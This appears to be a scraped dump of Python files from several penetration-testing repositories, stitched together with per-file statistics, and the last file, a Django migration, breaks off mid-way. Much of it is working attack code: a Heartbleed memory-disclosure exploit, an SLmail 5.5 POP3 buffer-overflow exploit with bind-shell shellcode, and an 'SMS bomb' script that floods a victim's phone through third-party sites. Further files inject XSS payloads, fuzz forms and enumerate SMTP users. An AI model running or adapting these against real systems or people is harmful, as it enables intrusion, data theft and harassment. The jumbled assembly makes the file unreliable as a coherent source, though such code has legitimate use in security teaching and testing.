cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import dpkt
import socket
import pygeoip
import optparse
gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat')
def retKML(ip):
rec = gi.record_by_name(ip)
try:
longitude = rec['longitude']
latitude = rec['latitude']
kml = (
'<Placemark>\n'
'<name>%s</name>\n'
'<Point>\n'
'<coordinates>%6f,%6f</coordinates>\n'
'</Point>\n'
'</Placemark>\n'
) %(ip,longitude, latitude)
return kml
except:
return ''
def plotIPs(pcap):
kmlPts = ''
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
srcKML = retKML(src)
dst = socket.inet_ntoa(ip.dst)
dstKML = retKML(dst)
kmlPts = kmlPts + srcKML + dstKML
except:
pass
return kmlPts
def main():
parser = optparse.OptionParser('usage %prog -p <pcap file>')
parser.add_option('-p', dest='pcapFile', type='string',\
help='specify pcap filename')
(options, args) = parser.parse_args()
if options.pcapFile == None:
print parser.usage
exit(0)
pcapFile = options.pcapFile
f = open(pcapFile)
pcap = dpkt.pcap.Reader(f)
kmlheader = '<?xml version="1.0" encoding="UTF-8"?>\
\n<kml xmlns="http://www.opengis.net/kml/2.2">\n<Document>\n'
kmlfooter = '</Document>\n</kml>\n'
kmldoc=kmlheader+plotIPs(pcap)+kmlfooter
print kmldoc
if __name__ == '__main__':
main()
| 23.727273 | 65 | 0.531576 |
Python-Penetration-Testing-for-Developers | import socket
rmip ='127.0.0.1'
portlist = [22,23,80,912,135,445,20]
for port in portlist:
sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
result = sock.connect_ex((rmip,port))
print port,":", result
sock.close()
| 18 | 55 | 0.700441 |
owtf | """
ACTIVE Plugin for Testing for HTTP Methods and XST (OWASP-CM-008)
"""
from owtf.managers.resource import get_resources
from owtf.managers.target import target_manager
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Active probing for HTTP methods"
def run(PluginInfo):
URL = target_manager.get_val("top_url")
# TODO: PUT not working right yet
Content = plugin_helper.TransactionTableForURL(True, URL, Method="TRACE")
Content += plugin_helper.CommandDump(
"Test Command",
"Output",
get_resources("ActiveHTTPMethods"),
PluginInfo,
Content,
)
return Content
| 26.782609 | 77 | 0.697492 |
Python-Penetration-Testing-for-Developers | import requests
import sys
url = sys.argv[1]
payload = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']
headers ={}
r = requests.head(url)
for payload in payloads:
for header in r.headers:
headers[header] = payload
req = requests.post(url, headers=headers)
| 27.636364 | 108 | 0.697452 |
PenTesting | # Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
# Date: [2014-04-09]
# Exploit Author: [Csaba Fitzl]
# Vendor Homepage: [http://www.openssl.org/]
# Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
# Version: [1.0.1f]
# Tested on: [N/A]
# CVE : [2014-0160]
#!/usr/bin/env python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by Csaba Fitzl for multiple SSL / TLS version support
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])
def create_hello(version):
hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
return hello
def create_hb(version):
hb = h2bin('18 ' + version + ' 00 03 01 40 00')
return hb
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s,hb):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
for i in range(len(version)):
print 'Trying ' + version[i][0] + '...'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(create_hello(version[i][1]))
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(create_hb(version[i][1]))
if hit_hb(s,create_hb(version[i][1])):
#Stop if vulnerable
break
if __name__ == '__main__':
main() | 29.179487 | 123 | 0.63225 |
cybersecurity-penetration-testing | import urllib2
import sys
__author__ = 'Preston Miller and Chapin Bryce'
__date__ = '20150825'
__version__ = '0.01'
def main():
url = 'http://www.linux-usb.org/usb.ids'
usbs = {}
usb_file = urllib2.urlopen(url)
curr_id = ''
for line in usb_file:
if line.startswith('#') or line == '\n':
pass
else:
if not(line.startswith('\t')) and (line[0].isdigit() or line[0].islower()):
id, name = getRecord(line.strip())
curr_id = id
usbs[id] = [name, {}]
elif line.startswith('\t') and line.count('\t') == 1:
id, name = getRecord(line.strip())
usbs[curr_id][1][id] = name
search_key(usbs)
def getRecord(record_line):
split = record_line.find(' ')
record_id = record_line[:split]
record_name = record_line[split + 1:]
return record_id, record_name
def search_key(usb_dict):
try:
vendor_key = sys.argv[1]
product_key = sys.argv[2]
except IndexError:
print 'Please provide the vendor Id and product Id separated by spaces.'
sys.exit(1)
try:
vendor = usb_dict[vendor_key][0]
except KeyError:
print 'Vendor Id not found.'
sys.exit(0)
try:
product = usb_dict[vendor_key][1][product_key]
except KeyError:
print 'Vendor: {}\nProduct Id not found.'.format(vendor)
sys.exit(0)
print 'Vendor: {}\nProduct: {}'.format(vendor, product)
if __name__ == '__main__':
main() | 25.135593 | 87 | 0.547696 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
Python-Penetration-Testing-for-Developers | import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print s.sendto("hello all",(host,port))
s.close() | 24.166667 | 52 | 0.713333 |
Python-Penetration-Testing-for-Developers | import requests
from ghost import Ghost
import logging
import os
url = 'http://www.realvnc.com'
req = requests.get(url)
def clickjack(url):
html = '''
<html>
<body>
<iframe src="'''+url+'''"></iframe>
</body>
</html>'''
html_file = 'clickjack.html'
log_file = 'test.log'
f = open(html_file, 'w+')
f.write(html)
f.close()
logging.basicConfig(filename=log_file)
logger = logging.getLogger('ghost')
logger.propagate = False
ghost = Ghost(log_level=logging.INFO)
page, resources = ghost.open(html_file)
ghost.exit()
l = open(log_file, 'r')
if 'forbidden by X-Frame-Options.' in l.read():
print 'Clickjacking mitigated'
else:
print 'Clickjacking successful'
print os.getcwd()
l.close()
try:
xframe = req.headers['x-frame-options']
print 'X-FRAME-OPTIONS:', xframe , 'present, clickjacking not likely possible'
except:
print 'X-FRAME-OPTIONS missing'
print 'attempting clickjacking...'
clickjack(url)
try:
xssprotect = req.headers['X-XSS-Protection']
if 1 not in 'xssprotect':
print 'X-XSS-Protection not set properly, XSS may be possible'
except:
print 'X-XSS-Protection not set, XSS may be possible'
try:
hsts = req.headers['Strict-Transport-Security']
except:
print 'HSTS header not set, MITM should be possible via HTTP' | 20.3 | 79 | 0.694597 |
PenetrationTestingScripts | #!/usr/bin/python
#-*- coding: utf-8 -*-
#python3.5
#=====================================================================================================
#smsbomb.py
#author: ym2011
#version: 0.1
#create: 2016-08-04
#=====================================================================================================
#the short message bomb, a ticky joke for someone you fool
#the source code is honghu.py and operate.py
#=====================================================================================================
try:
import sys
import os
import ssl
import urllib
import urllib2
import httplib
import re
import string
from http import cookies
except ValueError:
print (""""
运行出错:
以下的python 库尚未安装：
该应用程序需要的库：sys、 os、urllib、urllib2、httplib、re、string cookielib
请检查这些依赖库是否安装在您的操作系统上
提示：安装这些库的格式为：
apt-get install 库名字
例如: apt-get install httplib2
或者使用以下方式：
easy_install httplib2
"""")
sys.exit()
def oupeng(phone: object) -> object:
datas=""
url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Accept": "text/plain",'Referer':'http://www.oupeng.com/download'}
#payload=urllib.urlencode(payload)
try:
request=urllib2.Request(url=url,headers=i_headers)
response=urllib2.urlopen(request)
datas=response.read()
print (datas)
print ('attack success!!!')
except Exception as e:
print (e)
print("attack failed!!!")
def hongxiu(phone):
datas=""
url='http://topic.hongxiu.com/wap/action.aspx'
#请求的数据
payload={'hidtpye':'1',
'txtMobile':phone}
#注意Referer不能为空
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Accept": "text/plain",'Referer':'http://topic.hongxiu.com/wap/'}
payload=urllib.urlencode(payload)
try:
request=urllib2.Request(url,payload,i_headers)
response=urllib2.urlopen(request)
datas=response.read()
print (datas)
print ('attack success!!!')
except Exception:
print (Exception)
print ("attack failed!!!")
if __name__=="__main__":
phone=raw_input('input the phone:')
oupeng(phone)
hongxiu(phone)
| 21.846939 | 115 | 0.589812 |
owtf | #!/usr/bin/env python
"""
2015/12/13 - Viyat Bhalodia (@delta24) - Updates CMS Explorer lists and merge them with original ones
"""
from __future__ import print_function
import os
from lxml import html
try:
import urllib2
except ImportError:
import urllib as urllib2
abs_path = os.path.dirname(os.path.abspath(__file__))
CMS_EXPLORER_DIR = os.path.join(abs_path, "../tools/restricted/cms-explorer/cms-explorer-1.0")
# get plugins from http://plugins.svn.wordpress.org
def get_plugins_wp():
r = urllib2.Request("http://plugins.svn.wordpress.org")
content = urllib2.urlopen(r)
tree = html.fromstring(content.read())
el_list = tree.find("body").find("ul").findall("li")
plugins = []
for el in el_list:
plugins.append(el.text_content())
with open("%s/wp_plugins.txt.new" % CMS_EXPLORER_DIR, "w+") as file:
for plugin in plugins:
file.write("wp-content/plugins/%s\n" % plugin.encode("ascii", "ignore"))
print("WP plugins list updated!")
def get_themes_wp():
r = urllib2.Request("http://themes.svn.wordpress.org/")
content = urllib2.urlopen(r)
tree = html.fromstring(content.read())
el_list = tree.find("body").find("ul").findall("li")
themes = []
for el in el_list:
themes.append(el.text_content())
with open("%s/wp_themes.txt.new" % CMS_EXPLORER_DIR, "w+") as file:
for theme in themes:
file.write("wp-content/themes/%s\n" % theme.encode("ascii", "ignore"))
print("WP themes list updated!")
def get_drupal_plugins():
r = urllib2.Request("https://www.drupal.org/project/project_module/index")
content = urllib2.urlopen(r)
tree = html.fromstring(content.read())
links = tree.xpath('//*[@id="block-system-main"]/div/div/div/div[2]/div/ol/li/div/span/a')
modules = []
for el in links:
# lxml.etree.Element stores attributes in a dict interface
string = el.get("href")
module = string.replace("/project", "modules")
modules.append(module)
with open("%s/drupal_plugins.txt.new" % CMS_EXPLORER_DIR, "w+") as file:
for module in modules:
file.write("%s\n" % module.encode("ascii", "ignore"))
print("Drupal plugins list updated!")
def get_drupal_themes():
r = urllib2.Request("https://www.drupal.org/project/project_theme/index")
content = urllib2.urlopen(r)
tree = html.fromstring(content.read())
links = tree.xpath('//*[@id="block-system-main"]/div/div/div/div[2]/div/ol/li/div/span/a')
themes = []
for el in links:
# lxml.etree.Element stores attributes in a dict interface
string = el.get("href")
theme = string.replace("/project", "themes")
themes.append(theme)
with open("%s/drupal_themes.txt.new" % CMS_EXPLORER_DIR, "w+") as file:
for theme in themes:
file.write("%s\n" % theme.encode("ascii", "ignore"))
print("Drupal themes list updated!")
if __name__ == "__main__":
get_plugins_wp()
get_themes_wp()
get_drupal_plugins()
get_drupal_themes()
| 30.690722 | 101 | 0.631305 |
Python-Penetration-Testing-for-Developers | import mechanize
import shelve
br = mechanize.Browser()
br.set_handle_robots( False )
url = raw_input("Enter URL ")
br.set_handle_equiv(True)
br.set_handle_gzip(True)
#br.set_handle_redirect(False)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.open(url)
s = shelve.open("mohit.xss",writeback=True)
for form in br.forms():
print form
list_a =[]
list_n = []
field = int(raw_input('Enter the number of field "not readonly" '))
for i in xrange(0,field):
na = raw_input('Enter the field name, "not readonly" ')
ch = raw_input("Do you attack on this field? press Y ")
if (ch=="Y" or ch == "y"):
list_a.append(na)
else :
list_n.append(na)
br.select_form(nr=0)
p =0
flag = 'y'
while flag =="y":
br.open(url)
br.select_form(nr=0)
for i in xrange(0, len(list_a)):
att=list_a[i]
br.form[att] = s['xss'][p]
for i in xrange(0, len(list_n)):
non=list_n[i]
br.form[non] = 'aaaaaaa'
print s['xss'][p]
br.submit()
ch = raw_input("Do you continue press y ")
p = p+1
flag = ch.lower()
| 19.755102 | 67 | 0.647638 |
Python-Penetration-Testing-for-Developers | import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']
up = "../"
i = 0
d = {}
sets = []
initial = requests.get(url)
for payload in payloads:
for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
print field
if field.has_attr('name'):
if field['name'].lower() == "submit":
d[field['name']] = "submit"
else:
d[field['name']] = payload
sets.append(d)
req = requests.post(url2, data=d)
checkresult = requests.get(url3)
if payload in checkresult.text:
print "Full string returned"
print "Attacks string: "+ payload
d = {} | 30.857143 | 109 | 0.650954 |
Python-Penetration-Testing-for-Developers | #/usr/bin/env python
'''
Author: Chris Duffy
Date: March 2015
Name: smtp_vrfy.py
Purpose: To validate users on a box running SMTP
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met: * Redistributions
of source code must retain the above copyright notice, this list of conditions and
the following disclaimer. * Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution. * Neither the
name of the nor the names of its contributors may be used to endorse or promote
products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
'''
import socket, time, argparse, os, sys
def read_file(filename):
with open(filename) as file:
lines = file.read().splitlines()
return lines
def verify_smtp(verbose, filename, ip, timeout_value, sleep_value, port=25):
if port is None:
port=int(25)
elif port is "":
port=int(25)
else:
port=int(port)
if verbose > 0:
print "[*] Connecting to %s on port %s to execute the test" % (ip, port)
valid_users=[]
username_list = read_file(filename)
for user in username_list:
try:
sys.stdout.flush()
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout_value)
connect=s.connect((ip,port))
banner=s.recv(1024)
if verbose > 0:
print("[*] The system banner is: '%s'") % (str(banner))
command='VRFY ' + user + '\n'
if verbose > 0:
print("[*] Executing: %s") % (command)
print("[*] Testing entry %s of %s") % (str(username_list.index(user)),str( len(username_list)))
s.send(command)
result=s.recv(1024)
if "252" in result:
valid_users.append(user)
if verbose > 1:
print("[+] Username %s is valid") % (user)
if "550" in result:
if verbose > 1:
print "[-] 550 Username does not exist"
if "503" in result:
print("[!] The server requires authentication")
break
if "500" in result:
print("[!] The VRFY command is not supported")
break
except IOError as e:
if verbose > 1:
print("[!] The following error occured: '%s'") % (str(e))
if 'Operation now in progress' in e:
print("[!] The connection to SMTP failed")
break
finally:
if valid_users and verbose > 0:
print("[+] %d User(s) are Valid" % (len(valid_users)))
elif verbose > 0 and not valid_users:
print("[!] No valid users were found")
s.close()
if sleep_value is not 0:
time.sleep(sleep_value)
sys.stdout.flush()
return valid_users
def write_username_file(username_list, filename, verbose):
open(filename, 'w').close() #Delete contents of file name
if verbose > 1:
print("[*] Writing to %s") % (filename)
with open(filename, 'w') as file:
file.write('\n'.join(username_list))
return
if __name__ == '__main__':
# If script is executed at the CLI
usage = '''usage: %(prog)s [-u username_file] [-f output_filename] [-i ip address] [-p port_number] [-t timeout] [-s sleep] -q -v -vv -vvv'''
parser = argparse.ArgumentParser(usage=usage)
parser.add_argument("-u", "--usernames", type=str, help="The usernames that are to be read", action="store", dest="username_file")
parser.add_argument("-f", "--filename", type=str, help="Filename for output the confirmed usernames", action="store", dest="filename")
parser.add_argument("-i", "--ip", type=str, help="The IP address of the target system", action="store", dest="ip")
parser.add_argument("-p","--port", type=int, default=25, action="store", help="The port of the target system's SMTP service", dest="port")
parser.add_argument("-t","--timeout", type=float, default=1, action="store", help="The timeout value for service responses in seconds", dest="timeout_value")
parser.add_argument("-s","--sleep", type=float, default=0.0, action="store", help="The wait time between each request in seconds", dest="sleep_value")
parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result")
parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet")
parser.add_argument('--version', action='version', version='%(prog)s 0.42b')
args = parser.parse_args()
# Set Constructors
username_file = args.username_file # Usernames to test
filename = args.filename # Filename for outputs
verbose = args.verbose # Verbosity level
ip = args.ip # IP Address to test
port = args.port # Port for the service to test
timeout_value = args.timeout_value # Timeout value for service connections
sleep_value = args.sleep_value # Sleep value between requests
dir = os.getcwd() # Get current working directory
username_list =[]
# Argument Validator
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
if not filename:
if os.name != "nt":
filename = dir + "/confirmed_username_list"
else:
filename = dir + "\\confirmed_username_list"
else:
if filename:
if "\\" or "/" in filename:
if verbose > 1:
print("[*] Using filename: %s") % (filename)
else:
if os.name != "nt":
filename = dir + "/" + filename
else:
filename = dir + "\\" + filename
if verbose > 1:
print("[*] Using filename: %s") % (filename)
username_list = verify_smtp(verbose, username_file, ip, timeout_value, sleep_value, port)
if len(username_list) > 0:
write_username_file(username_list, filename, verbose)
| 45.947712 | 161 | 0.613617 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
class Ferrari():
def speed(self):
print("Ferrari : 349 km/h")
class Mclern():
def speed(self):
print("Mclern : 362 km/h")
def printSpeed(carType):
carType.speed()
f=Ferrari()
m=Mclern()
printSpeed(f)
printSpeed(m)
| 12.105263 | 29 | 0.665323 |
Hands-On-Penetration-Testing-with-Python | import struct
import socket
print "\n\n###############################################"
print "\nSLmail 5.5 POP3 PASS Buffer Overflow"
print "\nFound & coded by muts [at] offsec.com"
print "\nFor Educational Purposes Only!"
print "\n\n###############################################"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Note 1433,443 works aswell works as its not blocked by firewall
#1444 does not work ,apperently firewall is blocing or something ,as 1444 is not a well known port --NO it was an issue with encoding of metasploit --Fixed
#Lets try bing with 443 and 2606 location = doesnt work -may b cuz of bad characters as \x20 is there.Most of the times the payload generated has \x20 in it despite specifying it as a bad charactr n thats the reason why the payload sometimes works on 443 and sometimes it doesnt.Even when 1433 has \x20 it doesnt work
#Bingo --discovered ,why rev shell was not working and bind was sometimes workinga nd sometimes not ,its because -b is not working with metasploit , initially -b "-" was copied from internet and it was somekind of special char.when -b was put manually it kept on giving error. !!.
#We tried to update metasploit :apt install metasploit-framework
#BIngo that solved the problem .
#Lets try a random port like 1444-- Works like a charm !!
#try 80 and 443 with same bind--Works
#1444 with 2606 + BIND shell -Works like a charm .Trt rvse shell now
LPORT1433 = ""
LPORT1433 += "\xf9\x42\xf9\x9b\x2f\x99\xfc\x40\x49\x9b\xbd\x08"
LPORT1433 += "\x71\xc8\xdb\xda\xc8\xd9\x74\x24\xf4\x5a\x31\xc9"
LPORT1433 += "\xb1\x4e\x83\xea\xfc\x31\x6a\x0f\x03\x6a\x07\x93"
LPORT1433 += "\x3d\x27\xff\xd1\xbe\xd8\xff\xb5\x37\x3d\xce\xf5"
LPORT1433 += "\x2c\x35\x60\xc6\x27\x1b\x8c\xad\x6a\x88\x07\xc3"
LPORT1433 += "\xa2\xbf\xa0\x6e\x95\x8e\x31\xc2\xe5\x91\xb1\x19"
LPORT1433 += "\x3a\x72\x88\xd1\x4f\x73\xcd\x0c\xbd\x21\x86\x5b"
LPORT1433 += "\x10\xd6\xa3\x16\xa9\x5d\xff\xb7\xa9\x82\xb7\xb6"
LPORT1433 += "\x98\x14\xcc\xe0\x3a\x96\x01\x99\x72\x80\x46\xa4"
LPORT1433 += "\xcd\x3b\xbc\x52\xcc\xed\x8d\x9b\x63\xd0\x22\x6e"
LPORT1433 += "\x7d\x14\x84\x91\x08\x6c\xf7\x2c\x0b\xab\x8a\xea"
LPORT1433 += "\x9e\x28\x2c\x78\x38\x95\xcd\xad\xdf\x5e\xc1\x1a"
LPORT1433 += "\xab\x39\xc5\x9d\x78\x32\xf1\x16\x7f\x95\x70\x6c"
LPORT1433 += "\xa4\x31\xd9\x36\xc5\x60\x87\x99\xfa\x73\x68\x45"
LPORT1433 += "\x5f\xff\x84\x92\xd2\xa2\xc0\x57\xdf\x5c\x10\xf0"
LPORT1433 += "\x68\x2e\x22\x5f\xc3\xb8\x0e\x28\xcd\x3f\x71\x03"
LPORT1433 += "\xa9\xd0\x8c\xac\xca\xf9\x4a\xf8\x9a\x91\x7b\x81"
LPORT1433 += "\x70\x62\x84\x54\xec\x69\x23\x07\x13\x90\xb9\xa6"
LPORT1433 += "\xb9\x69\x55\x43\x32\xb1\x45\x6c\x98\xda\xed\x91"
LPORT1433 += "\x23\xe0\x49\x1c\xc5\x80\x81\x49\x5d\x3d\x63\xae"
LPORT1433 += "\x56\xda\x9c\x84\x1c\xe4\x17\x7f\x48\x8d\x60\x96"
LPORT1433 += "\x4e\xb2\x71\xbc\xf8\x24\xf9\xd3\x3c\x54\xfe\xf9"
LPORT1433 += "\x14\x01\x68\x77\xf5\x60\x09\x88\xdc\x11\xc9\x1c"
LPORT1433 += "\xdb\xb3\x9e\x88\xe1\xe2\xe8\x16\x19\xc1\x6b\x50"
LPORT1433 += "\xe5\x94\x46\x2a\xd0\x02\xd8\x44\x1d\xc3\xd8\x94"
LPORT1433 += "\x4b\x89\xd8\xfc\x2b\xe9\x8b\x19\x34\x24\xb8\xb1"
LPORT1433 += "\xa1\xc7\xe8\x66\x61\xa0\x16\x50\x45\x6f\xe9\xb7"
LPORT1433 += "\xd5\x68\x15\x46\xdd\x89\xd6\x9f\x27\xfc\x31\x1c"
LPORT1433 += "\x1c\x0f\x74\x01\x35\x9a\x76\x15\x45\x8f"
#Tested on Win2k SP4 Unpatched
# Change ret address if needed
#buffer = '\x41' * 4654 + struct.pack('<L', 0x783d6ddf) + '\x90'*32 + LPORT1433
buffer = '\x41' * 2606
try:
print "\nSending evil buffer..."
s.connect(('192.168.250.136',110))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
print(str(data))
s.send('PASS ' + buffer + '\x8f\x35\x4a\x5f'+ LPORT1433 + '\r\n')
data = s.recv(1024)
print(str(data))
s.close()
print "\nDone! Try connecting to port 4444 on victim machine."
except:
print "Could not connect to POP3!"
| 46.060241 | 317 | 0.68886 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Project'
db.create_table(u'xtreme_server_project', (
('project_name', self.gf('django.db.models.fields.CharField')(max_length=50, primary_key=True)),
('start_url', self.gf('django.db.models.fields.URLField')(max_length=200)),
('query_url', self.gf('django.db.models.fields.URLField')(max_length=200)),
('allowed_extensions', self.gf('django.db.models.fields.TextField')()),
('allowed_protocols', self.gf('django.db.models.fields.TextField')()),
('consider_only', self.gf('django.db.models.fields.TextField')()),
('exclude_fields', self.gf('django.db.models.fields.TextField')()),
('status', self.gf('django.db.models.fields.CharField')(default='Not Set', max_length=50)),
('login_url', self.gf('django.db.models.fields.URLField')(max_length=200)),
('logout_url', self.gf('django.db.models.fields.URLField')(max_length=200)),
('username', self.gf('django.db.models.fields.TextField')()),
('password', self.gf('django.db.models.fields.TextField')()),
('username_field', self.gf('django.db.models.fields.TextField')(default='Not Set')),
('password_field', self.gf('django.db.models.fields.TextField')(default='Not Set')),
))
db.send_create_signal(u'xtreme_server', ['Project'])
# Adding model 'Page'
db.create_table(u'xtreme_server_page', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('URL', self.gf('django.db.models.fields.URLField')(max_length=200)),
('content', self.gf('django.db.models.fields.TextField')(blank=True)),
('visited', self.gf('django.db.models.fields.BooleanField')(default=False)),
('auth_visited', self.gf('django.db.models.fields.BooleanField')(default=False)),
('status_code', self.gf('django.db.models.fields.CharField')(max_length=256, blank=True)),
('connection_details', self.gf('django.db.models.fields.TextField')(blank=True)),
('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Project'])),
('page_found_on', self.gf('django.db.models.fields.URLField')(max_length=200, blank=True)),
))
db.send_create_signal(u'xtreme_server', ['Page'])
# Adding model 'Form'
db.create_table(u'xtreme_server_form', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('project', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Project'])),
('form_found_on', self.gf('django.db.models.fields.URLField')(max_length=200)),
('form_name', self.gf('django.db.models.fields.CharField')(max_length=512, blank=True)),
('form_method', self.gf('django.db.models.fields.CharField')(default='GET', max_length=10)),
('form_action', self.gf('django.db.models.fields.URLField')(max_length=200, blank=True)),
('form_content', self.gf('django.db.models.fields.TextField')(blank=True)),
('auth_visited', self.gf('django.db.models.fields.BooleanField')(default=False)),
('input_field_list', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal(u'xtreme_server', ['Form'])
# Adding model 'InputField'
db.create_table(u'xtreme_server_inputfield', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('form', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['xtreme_server.Form'])),
('input_type', self.gf('django.db.models.fields.CharField')(default='input', max_length=256, blank=True)),
))
db.send_create_signal(u'xtreme_server', ['InputField'])
# Adding model 'Vulnerability'
